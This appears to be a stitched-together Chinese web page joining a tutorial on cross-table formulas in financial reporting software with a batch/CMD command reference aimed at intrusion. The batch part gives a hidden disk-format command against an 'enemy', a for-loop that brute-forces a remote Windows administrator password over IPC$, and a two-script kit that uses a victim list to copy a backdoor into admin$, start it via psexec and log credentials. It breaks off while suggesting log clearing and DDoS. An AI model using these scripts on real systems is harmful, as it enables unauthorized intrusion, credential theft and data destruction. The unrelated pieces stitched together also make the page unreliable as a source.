<目標區域>=“<他表表名>”→ <數據源區域> [@ <頁號> ]

當<頁號>預設時為本表各頁分別取他表各頁數據。下面就該格式舉一些例子。

①取他表數據。令當前表頁D5的值等於表“Y”第4頁D5的值：D5=“Y”→D5@4;令本表各頁D5的值等於表“Y”各頁D5的值：D5=“Y”→D5 FOR ALL;令當前表所有表頁 C5的值等於表“Y”第 1頁中C10 的值與表“Y”第2頁中C2的值之和：C5=“Y” →C10@1+“Y”-C2@2

②取他表及本表的數據。令當前表所有表頁C5的值等於表“Y”第1頁中C10的值與當前表第2頁中C2的值之和：C5=“Y”→C10@l+C2@2。

③取其他兩個表的數據。當前表 C1>0的表頁 D5的值等於表“Y”第1頁中 H20的值與表“X”第2頁中F4的值之和：D5=“Y”→H20@l+“X”→E4@2 FOR C1>0。

④可變區公式。在命令窗或批命令中，令當前可變表 C1>0的表頁V_D的值等於表“Y”第1頁中V_H的值與表“X” 第2頁中V_L的值之和：LET V_D =“Y”→V_H@l+“X”→V_L@2 FOR C1>0。

(2)用關聯條件從他表取數。

當從他表取數時，已知條件並不是頁號，而是希望按照年、月、日等關鍵字的.對應關系來取他表數據，就必須用到關聯條件。表頁關聯條件的意義是建立本表與他表之間以關鍵字或某個單元為聯系的默契關系。從他表取數的關聯條件的格式為：

RELATION <單元|關鍵字|變數|常量>WITH“<他表表名>”→<單元|關鍵字|變數|常量>

具體用法我們以例子說明。例如：A1=“FYB”→A1 FOR ALL RELATION月WITH“FYB”→月，意義為取FYB表的，與當前表頁月相同月的A1單元的值。如果當前表頁為9月，則取FYB表9月表頁A1的值;A=“LRB”→BRELATION月 WITH “LRB” →月十1，意義為令本表各頁A列取表“LRB”上月各頁 B列數值;A=“LRB”→A RELATION年 WITH“LRB”→年，月WITH“LRB”→月+l, 意義為令當前表各項A列取表“LRB” 同年上月A列數值;A=“LRB”→B FOR ALL RELATlON 1 WITH “LRB”→月，令當前表各頁A列取表“LRB”1月B列數值;A=“LRB”→B+“ZJB”→C RELATION年 WITH“LRB”→年，月WITH“LRB”→月，年WITH“ZJB”→年，月WITH“ZJB”→月，令當前表各頁A列取表“LRB” 同年上月表頁B列數值及表“ZJB”上一年相同月份表頁C列數值之和。

財務軟體之計算公式的編輯：

1.單元公式方式

單元公式方式在格式設計狀態中定義，存儲在報表單元中，切換到數據處理狀態時，單元公式將自動進行運算，也可以隨時使用菜單【數據】中的【整表重算】命令驅動報表中所有單元公式進行重算。

不需再計算時，可以點取屏幕上方的【不計算】按鈕，本表頁以後不再重算。要重新計算，再次點取【不計算】按鈕即可。當本表單元公式中涉及到其他表或其他系統數據時，必須“整表重算”後才能更新數據。

2.命令行方式

在數據處理狀態下，選擇【文件】菜單中的【命令窗】，在報表工作區下面就會顯示命令窗窗口，在命令窗中一條一條書寫要執行的命令，按回車立即計算。

與定義單元公式不同的是，在命令宣中書寫的命令應以LET語句開頭。如定義 C6單元為 C4和 C5單元之和，應鍵人：LET C6=C4+C5。

3.批處理方式

在數據處理狀態下，選擇【文件】菜單下的【二次開發】，選擇文件類型為批處理 (SHL文件)，在二次開發窗口中一次性編輯所要執行的命令，保存時，可以由用戶自己定義文件名，最後選擇【文件】菜單中的【執行】，即可完成批量計算。

計算公式在命令窗和批命令中的格式特點是;以LET引導計算公式;一個計算公式可以為若干個篩選條件、關聯條件相同的區域賦值，各賦值表達式間以逗號“，”分隔。

在可變區中不能定義單元公式，要計算可變區的內容，可以在命令窗或批命令中定義可變區公式。例如：LET V-C=(V-A)×(V-B)。

❽ 關於批處理命令

1.可以將文件名加上引號""如: c:\windows\notepad.exe c:\"System Volume Information"或者使用dos的8.3文件命名格式,System~1
2.進入文件夾,敲命令d:&&cd d:\新建文件夾

❾ 跪求批處理命令大全和CMD命令大全。

1.Echo 命令
打開回顯或關閉請求回顯功能，或顯示消息。如果沒有任何參數，echo 命令將顯示當前回顯設置。
語法
echo [{on|off}] [message]
Sample篅echo off / echo hello world
在實際應用中我們會把這條命令和重定向符號（也稱為管道符號，一般用> >> ^）結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。

2.@ 命令
表示不顯示@後面的命令，在入侵過程中（例如使用批處理來格式化敵人的硬碟）自然不能讓對方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的，可喜的是微軟留了個autoset這個參數給我們，效果和/y是一樣的。)

3.Goto 命令
指定跳轉到標簽，找到標簽後，程序將處理從下一行開始的命令。
語法：goto label （label是參數，指定所要轉向的批處理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果這里的if、%1、%2你不明白的話，先跳過去，後面會有詳細的解釋。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
標簽的名字可以隨便起，但是最好是有意義的字母啦，字母前加個：用來表示這個字母是標簽，goto命令就是根據這個：來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

4.Rem 命令
注釋命令，在C語言中相當與/*--------*/,它並不會被執行，只是起一個注釋的作用，便於別人閱讀和你自己日後修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令
運行 Pause 命令時，將顯示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在這個例子中，驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時，pause 命令會使程序掛起，以便您更換磁碟，然後按任意鍵繼續處理。

6.Call 命令
從一個批處理程序調用另一個批處理程序，並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call，它將不會在命令行起作用。
語法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
參數
[Drive:}[Path] FileName
指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。

7.start 命令
調用外部程序，所有的DOS命令和命令行程序都可以由start命令來調用。
入侵常用參數：
MIN 開始時窗口最小化
SEPARATE 在分開的空間內開始 16 位 Windows 程序
HIGH 在 HIGH 優先順序類別開始應用程序
REALTIME 在 REALTIME 優先順序類別開始應用程序
WAIT 啟動應用程序並等候它結束
parameters 這些為傳送到命令/程序的參數
執行的應用程序是 32-位 GUI 應用程序時，CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行，該新行為則不會發生。
8.choice 命令
choice 使用此命令可以讓用戶輸入一個字元，從而運行不同的命令。使用時應該加/c:參數，c:後應寫提示可輸入的字元，之間無空格。它的返回碼為1234……

如: choice /c:dme defrag,mem,end
將顯示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的內容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （應先判斷數值最高的錯誤碼）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件運行後，將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ，然後if語句將作出判斷，d表示執行標號為defrag的程序段，m表示執行標號為mem的程序段，e表示執行標號為end的程序段，每個程序段最後都以goto end將程序跳到end標號處，然後程序將顯示good bye，文件結束。

9.If 命令

if 表示將判斷是否符合規定的條件，從而決定執行不同的命令。 有三種格式:
1、if "參數" == "字元串" 待執行的命令
參數如果等於指定的字元串，則條件成立，運行命令，否則運行下一句。(注意是兩個等號）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名 待執行的命令
如果有指定的文件，則條件成立，運行命令，否則運行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 數字 待執行的命令
如果返回碼等於指定的數字，則條件成立，運行命令，否則運行下一句。
如if errorlevel 2 goto x2
DOS程序運行時都會返回一個數字給DOS，稱為錯誤碼errorlevel或稱返回碼，常見的返回碼為0、1。

10.for 命令
for 命令是一個比較復雜的命令，主要用於參數在指定的范圍內循環執行命令。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組文件。可以使用通配符。
command 指定對每個文件執行的命令。
command-parameters 為特定命令指定參數或命令行開關。
在批處理文件中使用 FOR 命令時，指定變數請使用 %%variable
而不要用 %variable。變數名稱是區分大小寫的，所以 %i 不同於 %I

如果命令擴展名被啟用，下列額外的 FOR 命令格式會受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，則指定與目錄名匹配，而不與文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

檢查以 [drive:]path 為根的目錄樹，指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄，則使用當前
目錄。如果集僅為一個單點(.)字元，則枚舉該目錄樹。

FOR /L %variable IN (start,step,end) DO command [command-para

該集表示以增量形式從開始到結束的一個數字序列。
因此，(1,1,5) 將產生序列 1 2 3 4 5，(5,-1,1) 將產生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者，如果有 usebackq 選項:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 為一個或多個文件名。繼續到 filenameset 中的
下一個文件之前，每份文件都已被打開、讀取並經過處理。
處理包括讀取文件，將其分成一行行的文字，然後將每行
解析成零或更多的符號。然後用已找到的符號字元串變數值
調用 For 循環。以默認方式，/F 通過每個文件的每一行中分開
的第一個空白符號。跳過空白行。您可通過指定可選 "options"
參數替代默認解析操作。這個帶引號的字元串包括一個或多個
指定不同解析選項的關鍵字。這些關鍵字為:

eol=c - 指一個行注釋字元的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的
默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代
的 for 本身。這會導致額外變數名稱的
格式為一個范圍。通過 nth 符號指定 m
符號字元串中的最後一個字元星號，
那麼額外的變數將在最後一個符號解析之
分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:
在作為命令執行一個後引號的字元串並且
引號字元為文字字元串命令並允許在 fi
中使用雙引號擴起文件名稱。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

會分析 myfile.txt 中的每一行，忽略以分號打頭的那些行，將
每行中的第二個和第三個符號傳遞給 for 程序體；用逗號和/或
空格定界符號。請注意，這個 for 程序體的語句引用 %i 來
取得第二個符號，引用 %j 來取得第三個符號，引用 %k
來取得第三個符號後的所有剩餘符號。對於帶有空格的文件
名，您需要用雙引號將文件名括起來。為了用這種方式來使
用雙引號，您還需要使用 usebackq 選項，否則，雙引號會
被理解成是用作定義某個要分析的字元串的。

%i 專門在 for 語句中得到說明，%j 和 %k 是通過
tokens= 選項專門得到說明的。您可以通過 tokens= 一行
指定最多 26 個符號，只要不試圖說明一個高於字母 z 或
Z 的變數。請記住，FOR 變數是單一字母、分大小寫和全局的；
同時不能有 52 個以上都在使用中。

您還可以在相鄰字元串上使用 FOR /F 分析邏輯；方法是，
用單引號將括弧之間的 filenameset 括起來。這樣，該字元
串會被當作一個文件中的一個單一輸入行。

最後，您可以用 FOR /F 命令來分析命令的輸出。方法是，將
括弧之間的 filenameset 變成一個反括字元串。該字元串會
被當作命令行，傳遞到一個子 CMD.EXE，其輸出會被抓進
內存，並被當作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

會枚舉當前環境中的環境變數名稱。

另外，FOR 變數參照的替換已被增強。您現在可以使用下列
選項語法:

~I - 刪除任何引號(")，擴充 %I
%~fI - 將 %I 擴充到一個完全合格的路徑名
%~dI - 僅將 %I 擴充到一個驅動器號
%~pI - 僅將 %I 擴充到一個路徑
%~nI - 僅將 %I 擴充到一個文件名
%~xI - 僅將 %I 擴充到一個文件擴展名
%~sI - 擴充的路徑只含有短名
%~aI - 將 %I 擴充到文件的文件屬性
%~tI - 將 %I 擴充到文件的日期/時間
%~zI - 將 %I 擴充到文件的大小
%~$PATH:I - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個完全合格的名稱。如果環境變數
未被定義，或者沒有找到文件，此組合鍵會擴充
空字元串

可以組合修飾符來得到多重結果:

%~dpI - 僅將 %I 擴充到一個驅動器號和路徑
%~nxI - 僅將 %I 擴充到一個文件名和擴展名
%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名
%~dp$PATH:i - 查找列在路徑環境變數的目錄，並將 %I 擴充
到找到的第一個驅動器號和路徑。
%~ftzaI - 將 %I 擴充到類似輸出線路的 DIR

在以上例子中，%I 和 PATH 可用其他有效數值代替。%~ 語法
用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名
比較易讀，而且避免與不分大小寫的組合鍵混淆。

以上是MS的官方幫助，下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

sample2：

利用For命令來實現對一台目標Win2k主機的暴力密碼破解。
我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接，當成功時記下密碼。
最主要的命令是一條：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%來表示admin的密碼，在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，這樣就ko了。

sample3：

你有沒有過手裡有大量肉雞等著你去種後門＋木馬呢？，當數量特別多的時候，原本很開心的一件事都會變得很郁悶：）。文章開頭就談到使用批處理文件，可以簡化日常或重復性任務。那麼如何實現呢？呵呵，看下去你就會明白了。

主要命令也只有一條：（在批處理文件中使用 FOR 命令時，指定變數使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1，在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接，並木馬＋後門到victim，然後用返回碼（If errorlever =）來篩選成功種植後門的主機，並echo出來，或者echo到指定的文件。
delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列，一般就是 ip password username。
代碼雛形：

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植後門批處理的雛形，兩個批處理和後門程序（Windrv32.exe）,PSexec.exe需放在統一目錄下.批處理內容
尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳